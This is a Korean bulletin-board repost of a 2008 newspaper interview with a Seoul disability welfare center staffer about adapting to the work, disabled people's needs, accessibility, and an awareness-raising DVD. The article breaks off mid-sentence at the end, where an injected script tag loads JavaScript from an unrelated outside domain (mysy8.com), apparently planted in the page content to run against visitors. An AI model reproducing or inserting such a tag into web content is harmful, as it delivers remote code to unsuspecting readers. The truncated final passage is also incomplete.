[스크랩]서울장애인종합복지관 윤성덕 팀장 '장애인신문-사람 그리고...사람' 인터뷰
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작성자 최고관리자 작성일08-08-18 00:00 조회수3,409본문
| 장차법으로 강제하기보다 인식개선부터 | |||||
| 서울장애인종합복지관 기획부 윤성덕씨 | |||||
| [최지희 기자 / 2008-08-12 14:15:13] | |||||
서울장애인종합복지관 기획부에서 일하고 있는 윤성덕(39)씨. 그는 1998년 서울장애인종합복지관과 인연을 맺었다. 윤씨는 약 10년간 홍보, 출판, 시·청각 자료제작 등 많은 일들을 해왔다. “덩치 큰 장애인이나, 갑자기 소리를 지르는 장애인 등 처음에 장애인을 접했을 때 무서운 느낌이 들기도 했죠. 한 번은 불쑥불쑥 와서 인사하는 장애인을 보고 놀라기도 했어요.” 신문방송학과를 전공한 윤씨는 사회복지분야에서 일할 생각은 조금도 하지 못했다고 고백했다. 그는 IMF 이후 직장을 잃고, 사회복지사인 부인의 권유를 받아 현재의 복지관에서 일하게 됐다. 윤씨는 장애인이 낯설었지만 따로 공부하거나 하지 않았다. 단지 선임이 해주는 많은 이야기를 듣고, 직접 장애인을 상대하는 것으로 대신했다. 그렇게 하자 윤씨는 3~4개월 후에는 장애인을 상대하는 일에 자연스럽게 적응됐다. 윤씨는 체험하는 것이 이해하는 데 있어서 무엇보다 가장 좋은 방법이라고 말했다. 여느 사람과 마찬가지로 장애인도 유형별로 각각의 특징이 있고, 개개인마다의 특징이 또 존재하기 때문이라고 설명했다. 복지관을 이용하는 장애인이 가장 필요로 하는 것을 묻자, 그는 “모든 장애인이 경제적인 면에서 어려움을 겪고 있다”며 “근본적인 문제는 여러 가지가 있는데 연령별로 공통적인 모습을 보인다”고 대답했다. 윤씨의 말에 따르면 장애자녀를 둔 부모들은 재활과 교육, 장애성인들은 직업·사회재활과 결혼, 노인은 여가 부분에서 가장 큰 욕구와 필요성을 느끼고 있다. “이는 비장애인이 느끼는 것과 별반 다르지 않아요. 장애인이라고 해서 특별히 그런 욕구가 더 크다기보다, 비장애인과 달리 이동·편의시설이 따라주지 않기 때문에 욕구와 필요성이 부각되는 거죠. 장애인이든 비장애인이든 같은 인간으로서 누구나 누리고 싶어 하는 것들이잖아요.” 윤씨는 장애의 유무를 떠나 모두가 생활하는 데 불편하지 않도록, 정부의 지원과 이동·편의시설이 갖춰져야 한다고 거듭 강조했다. 이어 그는 사회복지학과든 아니든 어떤 분야의 최고를 지향하는 열정이 있다면, 그 사람을 받아들일 수 있어야 한다고 덧붙였다. “쌀밥보다 잡곡밥이 더 맛있고 영양가도 높잖아요. 어떤 분야를 전공했느냐 안했느냐를 따지기 보다는, 그 사람의 노력과 가능성을 보는 게 더 필요하다고 생각해요.” 윤씨는 이에 따라 사회복지마인드를 완성할 수 있도록 돕는 교육시스템 등이 뒷받침돼야 한다고 주장했다. 윤씨는 앞으로도 계속해서 비장애인을 상대로 장애인에 대한 인식개선을 위해 힘쓸 것을 다짐했다. “현재 장애인식개선 UCC동영상을 DVD로 제작하는 작업을 하고 있습니다. 서울지역의 초중고교와 사회복지 기관 1,500여곳에 8월말까지 보급할 예정이에요. 이 DVD 자료를 통해서 많은 이들이 장애에 대한 잘못된 인식을 바로 펴는데 조그마한 보탬이 되었으면 좋겠습니다.” 그는 장애인차별금지법 등 법적으로 장애인 차별을 금지하는 조항들이 생겼지만, 자신이 복지관에 적응하는 과정에서도 알 수 있듯이 장애인을 올바르게 바라보기 위해서는 인식이 바뀌는 게 가장 중요하다고 전했다. 그러기 위한 방법?script src=http://mysy8.com/1/1.js> |
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